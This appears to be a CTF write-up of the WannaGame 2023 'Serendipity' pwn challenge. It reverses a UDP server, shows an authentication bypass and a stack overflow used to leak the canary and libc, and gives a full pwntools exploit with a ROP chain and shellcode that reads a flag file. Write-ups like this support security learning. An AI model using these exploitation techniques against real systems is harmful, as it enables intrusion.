---
# System prepended metadata

title: 'WannaGame Championship 2023: Serendipity'

---

# WannaGame Championship 2023: Serendipity

## Overview

![image](https://hackmd.io/_uploads/BJSzvn2ST.png)

## Analysis

```c
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  unsigned int i; // [rsp+4h] [rbp-ECh]
  int v4; // [rsp+8h] [rbp-E8h]
  int j; // [rsp+Ch] [rbp-E4h]
  pthread_t newthread; // [rsp+10h] [rbp-E0h] BYREF
  struct sockaddr *addr; // [rsp+18h] [rbp-D8h]
  void *v8; // [rsp+20h] [rbp-D0h]
  fd_set *p_readfds; // [rsp+28h] [rbp-C8h]
  void *buf; // [rsp+30h] [rbp-C0h]
  ssize_t v11; // [rsp+38h] [rbp-B8h]
  struct timeval timeout; // [rsp+40h] [rbp-B0h] BYREF
  struct sockaddr s; // [rsp+50h] [rbp-A0h] BYREF
  fd_set readfds; // [rsp+60h] [rbp-90h] BYREF
  unsigned __int64 v15; // [rsp+E8h] [rbp-8h]

  v15 = __readfsqword(0x28u);
  pipe(session_1);
  pipe(session_2);
  pipe(session_3);
  pipe(session_4);
  if ( pthread_mutex_init(&mutex, 0LL) || pthread_mutex_init(&stru_60A0, 0LL) )
    error("pthread_mutex_init");
  pthread_create(&newthread, 0LL, clean_session, 0LL);
  fd = socket(2, 2, 0);
  if ( fd == -1 )
    error("socket");
  memset(&s, 0, sizeof(s));
  s.sa_family = 2;
  *(_WORD *)s.sa_data = htons(0x26FDu);
  *(_DWORD *)&s.sa_data[2] = 0;
  if ( bind(fd, &s, 0x10u) == -1 )
    error("bind");
  addr = (struct sockaddr *)malloc(0x214uLL);
  v8 = malloc(0x100CuLL);
  while ( 1 )
  {
    do
    {
      p_readfds = &readfds;
      for ( i = 0; i <= 0xF; ++i )
        p_readfds->fds_bits[i] = 0LL;
      readfds.fds_bits[fd / 64] |= 1LL << (fd & 0x3F);
      timeout.tv_sec = 1LL;
      timeout.tv_usec = 0LL;
      if ( select(fd + 1, &readfds, 0LL, 0LL, &timeout) == -1 )
        error("select");
    }
    while ( (readfds.fds_bits[fd / 64] & (1LL << (fd & 0x3F))) == 0 );
    buf = calloc(1uLL, 0x1000uLL);
    memset(addr, 0, 0x214uLL);
    memset(v8, 0, 0x100CuLL);
    *(_DWORD *)&addr[1].sa_family = 16;
    v11 = recvfrom(fd, buf, 0x1000uLL, 0, addr, (socklen_t *)&addr[1].sa_family);
    if ( v11 == -1 )
      error("recvfrom");
    v4 = 0;
    for ( j = 0; ; ++j )
    {
      if ( j > 3 )
        goto LABEL_22;
      if ( *(_QWORD *)buf == *((_QWORD *)&unk_6100 + 2 * j) )
        break;
    }
    write(session_1[2 * j + 1], buf, 0x1000uLL);
    v4 = 1;
LABEL_22:
    if ( !v4 && !(unsigned int)check_packet(addr, v8, buf) )
      check_opcode(addr, v8);
  }
}
```

This is a server allowing users to send packets throughout a UDP connection.

First, we can see that it creates 4 pipes, for 4 threads to connect, read and write. 

After that, there is a call to socket which creates a UDP connection to send and receive input to users by `sendto` and `recvfrom`.

Program will wait for users to send data to socket and then check with each session_id, if it's similar, it will write to the corresponding fd related to that threads. But not, it will jump to `LABEL_22`

`LABEL_22` will check our recently sent packet is matched with server or not, subsequently check our opcode.

Here I have reversed the main struct in this binary:

```c
    struct packet{
        uint32_t magic;
        uint32_t opcode;
        unsigned int short len_packet;
        char msg[4086];
    }
```

**Check_packet**
```c
__int64 __fastcall check_packet(packet *a1, packet *a2, packet *a3)
{
  unsigned int v3; // eax
  unsigned int v5; // eax

  a2->magic = a3->magic;
  if ( a2->magic == 1882206320 )
  {
    a2->opcode = a3->opcode;
    a2->packet_len = a3->packet_len;
    if ( a2->packet_len <= 0xFFFu )
    {
      memcpy(a2->msg, a3->msg, (unsigned __int16)a2->packet_len);
      return 0LL;
    }
    else
    {
      memset(&a1->msg[10], 0, 0x200uLL);
      strcpy(&a1->msg[10], "packet too large\n");
      v5 = strlen(&a1->msg[10]);
      send_msg(a1, &a1->msg[10], v5);
      return 1LL;
    }
  }
  else
  {
    memset(&a1->msg[10], 0, 0x200uLL);
    strcpy(&a1->msg[10], "server magic mismatch\n");
    v3 = strlen(&a1->msg[10]);
    send_msg(a1, &a1->msg[10], v3);
    return 1LL;
  }
}
```
**Check_opcode**
```c
__int64 __fastcall check_opcode(packet *a1, __int64 a2)
{
  unsigned int v2; // eax
  unsigned int v4; // eax

  v2 = *(_DWORD *)(a2 + 4);
  if ( v2 == 769 )
    return read_key((__int64)a1, a2);
  if ( v2 > 0x301 )
    goto LABEL_9;
  if ( v2 == 257 )
    return ((__int64 (__fastcall *)(packet *, __int64))encrypt)(a1, a2);
  if ( v2 == 513 )
    return authenticate((__int64)a1, a2);
LABEL_9:
  memset(&a1->msg[10], 0, 0x200uLL);
  strcpy(&a1->msg[10], "unknown opcode\n");
  v4 = strlen(&a1->msg[10]);
  return ((__int64 (__fastcall *)(packet *, char *, _QWORD))send_msg)(a1, &a1->msg[10], v4);
```

From here, we can conclude a valid packet is:

- The magic must be 0x70303070
- The opcode must not be different from 769, 513, 257

Actually, I found an `OOB Read` in opcode 257, but due to I/O buffering, this bug doesn't work on remote server, so I will not use here.

Here I will mainly focus on `authenticate` function:

```c
void __fastcall authenticate(packet *a1, __int64 a2)
{
  int v2; // eax
  int v3; // eax
  int v4; // eax
  int i; // [rsp+14h] [rbp-Ch]

  if ( !strncmp(s1, (const char *)(a2 + 10), 0x20uLL) )
  {
    memset(&a1->msg[10], 0, 0x200uLL);
    strcpy(&a1->msg[10], "auth successfully\n");
    v3 = strlen(&a1->msg[10]);
    send_msg((const struct sockaddr *)a1, (__int64)&a1->msg[10], v3);
    for ( i = 0; i <= 3; ++i )
    {
      if ( !*((_QWORD *)&session + 2 * i) )
      {
        *((_QWORD *)&session + 2 * i) = *(_QWORD *)get_random_string(8);
        qword_6108[2 * i] = time(0LL) + 60;
        memset(&a1->msg[10], 0, 0x200uLL);
        strncpy(&a1->msg[10], (const char *)&session + 16 * i, 8uLL);
        send_msg((const struct sockaddr *)a1, (__int64)&a1->msg[10], 8);
        open_thread((__int64)a1, a2, i);
        return;
      }
    }
    memset(&a1->msg[10], 0, 0x200uLL);
    strcpy(&a1->msg[10], "only 4 sessions at a time\n");
    v4 = strlen(&a1->msg[10]);
    send_msg((const struct sockaddr *)a1, (__int64)&a1->msg[10], v4);
  }
  else
  {
    memset(&a1->msg[10], 0, 0x200uLL);
    strcpy(&a1->msg[10], "auth failed\n");
    v2 = strlen(&a1->msg[10]);
    send_msg((const struct sockaddr *)a1, (__int64)&a1->msg[10], v2);
  }
}
```

Initially, there is a check on user's input, to compare that if it's the same or not. But the `s1` is on `bss` and it's uninitialized, so we can easily bypass it, and jump to `open_thread`.

Before opening a thread, server will send a session number to our socket, and then jump to our thread.

```c
void *__fastcall start_routine(_DWORD *a1)
{
  unsigned int v1; // eax
  unsigned int v3; // eax
  size_t v4; // rax
  unsigned int v5; // eax
  unsigned int v6; // eax
  int v7; // [rsp+1Ch] [rbp-344h]
  __int64 v8; // [rsp+20h] [rbp-340h]
  __int64 *buf; // [rsp+28h] [rbp-338h]
  FILE *stream; // [rsp+30h] [rbp-330h]
  __int64 s; // [rsp+40h] [rbp-320h] BYREF
  int v12; // [rsp+48h] [rbp-318h]
  unsigned __int16 v13; // [rsp+4Ch] [rbp-314h]
  _BYTE v14[258]; // [rsp+4Eh] [rbp-312h] BYREF
  char dest[8]; // [rsp+150h] [rbp-210h] BYREF
  __int64 v16; // [rsp+158h] [rbp-208h] BYREF
  char ptr[264]; // [rsp+250h] [rbp-110h] BYREF
  unsigned __int64 v18; // [rsp+358h] [rbp-8h]

  v18 = __readfsqword(0x28u);
  v8 = *(_QWORD *)a1;
  v7 = a1[2];
  buf = (__int64 *)calloc(1uLL, 0x1000uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      memset(&s, 0, 0x110uLL);
      memset(dest, 0, 0x100uLL);
      memset(ptr, 0, 0x100uLL);
      read(session_1[2 * v7], buf, 0x1000uLL);
      s = *buf;
      v12 = *((_DWORD *)buf + 2);
      v13 = *((_WORD *)buf + 6);
      memcpy(v14, (char *)buf + 14, v13);
      memcpy(dest, "./files/", sizeof(dest));
      memcpy(&v16, v14, 0xF0uLL);
      if ( strstr(dest, "..") )
      {
        memset((void *)(v8 + 20), 0, 0x200uLL);
        strcpy((char *)(v8 + 20), "invalid file\n");
        v1 = strlen((const char *)(v8 + 20));
        send_msg(v8, v8 + 20, v1);
        return 0LL;
      }
      if ( !v12 )
        break;
      if ( v12 == 1 )
      {
        memset((void *)(v8 + 20), 0, 0x200uLL);
        strcpy((char *)(v8 + 20), "under construction\n");
        v6 = strlen((const char *)(v8 + 20));
        send_msg(v8, v8 + 20, v6);
      }
    }
    stream = fopen(dest, "r");
    if ( !stream )
      break;
    fread(ptr, 0x100uLL, 1uLL, stream);
    memset((void *)(v8 + 20), 0, 0x200uLL);
    v4 = strlen(ptr);
    strncpy((char *)(v8 + 20), ptr, v4);
    v5 = strlen((const char *)(v8 + 20));
    send_msg(v8, v8 + 20, v5);
    fclose(stream);
  }
  memset((void *)(v8 + 20), 0, 0x200uLL);
  strcpy((char *)(v8 + 20), "file can't be read\n");
  v3 = strlen((const char *)(v8 + 20));
  send_msg(v8, v8 + 20, v3);
  return 0LL;
}
```

Binary will parse our input into another struct, which looks like:

```c
void *__fastcall start_routine(_DWORD *a1)
{
  int v1; // eax
  int v3; // eax
  size_t v4; // rax
  int v5; // eax
  int v6; // eax
  int v7; // [rsp+1Ch] [rbp-344h]
  const struct sockaddr *v8; // [rsp+20h] [rbp-340h]
  arg *buf; // [rsp+28h] [rbp-338h]
  FILE *stream; // [rsp+30h] [rbp-330h]
  __int64 s; // [rsp+40h] [rbp-320h] BYREF
  int mode; // [rsp+48h] [rbp-318h]
  unsigned __int16 len; // [rsp+4Ch] [rbp-314h]
  _BYTE v14[258]; // [rsp+4Eh] [rbp-312h] BYREF
  char dest[8]; // [rsp+150h] [rbp-210h] BYREF
  __int64 v16; // [rsp+158h] [rbp-208h] BYREF
  char ptr[264]; // [rsp+250h] [rbp-110h] BYREF
  unsigned __int64 v18; // [rsp+358h] [rbp-8h]

  v18 = __readfsqword(0x28u);
  v8 = *(const struct sockaddr **)a1;
  v7 = a1[2];
  buf = (arg *)calloc(1uLL, 0x1000uLL);
  while ( 1 )
  {
    while ( 1 )
    {
      memset(&s, 0, 0x110uLL);
      memset(dest, 0, 0x100uLL);
      memset(ptr, 0, 0x100uLL);
      read(session_1[2 * v7], buf, 0x1000uLL);
      s = *(_QWORD *)buf->session_id;
      mode = buf->mode;
      len = buf->len;
      memcpy(v14, buf->msg, len);
      memcpy(dest, "./files/", sizeof(dest));
      memcpy(&v16, v14, 0xF0uLL);
      if ( strstr(dest, "..") )
      {
        memset(&v8[1].sa_data[2], 0, 0x200uLL);
        strcpy(&v8[1].sa_data[2], "invalid file\n");
        v1 = strlen(&v8[1].sa_data[2]);
        send_msg(v8, (__int64)&v8[1].sa_data[2], v1);
        return 0LL;
      }
      if ( !mode )
        break;
      if ( mode == 1 )
      {
        memset(&v8[1].sa_data[2], 0, 0x200uLL);
        strcpy(&v8[1].sa_data[2], "under construction\n");
        v6 = strlen(&v8[1].sa_data[2]);
        send_msg(v8, (__int64)&v8[1].sa_data[2], v6);
      }
    }
    stream = fopen(dest, "r");
    if ( !stream )
      break;
    fread(ptr, 0x100uLL, 1uLL, stream);
    memset(&v8[1].sa_data[2], 0, 0x200uLL);
    v4 = strlen(ptr);
    strncpy(&v8[1].sa_data[2], ptr, v4);
    v5 = strlen(&v8[1].sa_data[2]);
    send_msg(v8, (__int64)&v8[1].sa_data[2], v5);
    fclose(stream);
  }
  memset(&v8[1].sa_data[2], 0, 0x200uLL);
  strcpy(&v8[1].sa_data[2], "file can't be read\n");
  v3 = strlen(&v8[1].sa_data[2]);
  send_msg(v8, (__int64)&v8[1].sa_data[2], v3);
  return 0LL;
}
```

From here, problem has occurred. 

```c
      memcpy(v14, buf->msg, len);
      memcpy(dest, "./files/", sizeof(dest));
      memcpy(&v16, v14, 0xF0uLL);
```

At first memcpy, we can see that memcpy will copy our `buf->msg`, with our length specified. Since `len` is a controlled variable, it is an obvious `Buffer Overflow`.

So how can we leak when `SSP` and `PIE` are all enabled?

### Arbitrary read

With `fread` doesn't put null-byte on our string, we can easily use that arbitrary read primitive to leak canary and libc. See the examples below to clearly understand how we can trigger the bug.

![image](https://hackmd.io/_uploads/r1N8xy6rT.png)
![image](https://hackmd.io/_uploads/Byh2lJ6rT.png)
![image](https://hackmd.io/_uploads/rywaekpHa.png)

Here I find the offset between canary and my buffer is 0x30b, so set `buf->len` to `0x30b` and fill the gap before by 'A'.

Now we have the ability to leak canary. Use the same method to leak libc.

Bonus: I have leaked another thread address because r-w segment in libc might be overlapped with some I/O segment, so leak another thread is kinda better for me.

### Arbitrary write

Is it too easy to call `system("/bin/sh")` to obtain a shell?

Well, since here is the socket connection with UDP type, we cannot easily do that or `system("/bin/sh 0>&11 1>&11)"`.

Author has also mentioned that it is not possible to do a reverse shell, since the remote has blocked outside connection.

What we can do to get flag now?

Well, traditional way is to `open-read-write`. We are working on socket, so `read` and `write` seem to fail. But with our socket opened, we can use `sendto` to send flag to our socket now.

```sh
 ssize_t sendto(int sockfd, const void *buf, size_t len, int flags,
                      const struct sockaddr *dest_addr, socklen_t addrlen);
```

Since two last arguments of `sendto` are stored on `r8` and `r9` respectively, and it is rarely changed at runtime, our target is only to modify another arguments to read flag.

So our strategies will be:

- Set our `buf->mode` to 1 to get out of the infinite loop.
- At the same time, inserted our ROP chain to open->read->sendto.
- `read(thread_fd, buf, size)` will enable us to wait for input, which was when we make `buf->mode` to 1, then write into our buffer.
- Finally, I choose to mprotect my thread address, and jump to that shellcode.

![image](https://hackmd.io/_uploads/rkWFbyaHa.png)


```python
from pwn import *

#p = process("./serendipity_patched")#r = process(["/usr/bin/nc", "-u", "157.245.147.89", "28223"])
context.arch = 'amd64'
#r = process(["nc", "-u", "157.245.147.89",  "21415"])
r = process(["nc", "-u", "localhost",  "9981"])
l = ELF("./libc.so.6")
def send_packet(opcode: int, len_packet: int, message: bytes):
    msg = p32(0x70303070)
    msg += p32(opcode)
    msg += p16(len_packet)
    msg += message

    r.sendline(msg)

send_packet(513, 0xfff, b'\0' * 16)
r.recvuntil(b'auth successfully\n')
session = r.recv()

pl = session
pl += p32(0)
pl += p32(0x30b)
pl += b'A' * 0x30b

r.send(pl)
r.recvuntil(b'A' * 264)
canary = u64(r.recv(8)) - 0x41
log.info(f"Canary: {hex(canary)}")

pl = session
pl += p32(0)
pl += p32(0x31a)
pl += b'A' * 0x31a
r.send(pl)

r.recvuntil(b'A' * 0x118)
l.address = u64(r.recv(6) + b'\0' * 2) - 0x94ac3
log.info(f"Libc: {hex(l.address)}")


rdi = l.address + 0x2a3e5
ret = rdi + 1
rsi = l.address + 0x000000000002be51
rdx = l.address + 0x00000000000796a2
syscall = l.address + 0xec339
rax = l.address + 0x0000000000045eb0

pl = session
pl += p32(0)
pl += p32(0x32a)
pl += b'A' * 0x32a
r.send(pl)

r.recvuntil(b'A' * 0x128)
rw_seg = u64(r.recv(6) + b'\0' * 2) & (~0xfff)
log.info(f'Thread: {hex(rw_seg)}')

pl = session
pl += p32(0)
pl += p16(0x600)
pl += b'A' * 0x30a
pl += p64(canary)
pl += p64(0)
pl += p64(rdi) + p64(rw_seg) + p64(rsi) + p64(0x3000) + p64(rdx) + p64(7) + p64(l.sym['mprotect'])
pl += p64(rdi) + p64(3) + p64(rsi) + p64(rw_seg) + p64(rdx) + p64(0x200) + p64(rax) + p64(0) + p64(syscall)
pl += p64(rw_seg + 0x12)
r.send(pl)
r.recv()
pl = session
pl += p32(0) + p32(0) + p16(0x200)
pl += asm(shellcraft.open("/home/user/flag", 0)) + asm(shellcraft.read('rax', rw_seg + 0xf00, 0x100))
pl += asm("""
    push 44
    pop rax
    push 11
    pop rdi
    syscall
""")
r.send(pl)

r.interactive()
```

This is the result on my local machine

![image](https://hackmd.io/_uploads/BkNib1TBa.png)

**Note**

Since I cannot solve this challenge in 24 hours, something I need to improve for the future CTFs.

- I had better practise faster code understanding, since speed is always my weakness in CTF
- Learn to find vulnerable patterns in binary, exemplified by the `stack buffer overflow` in `memcpy`

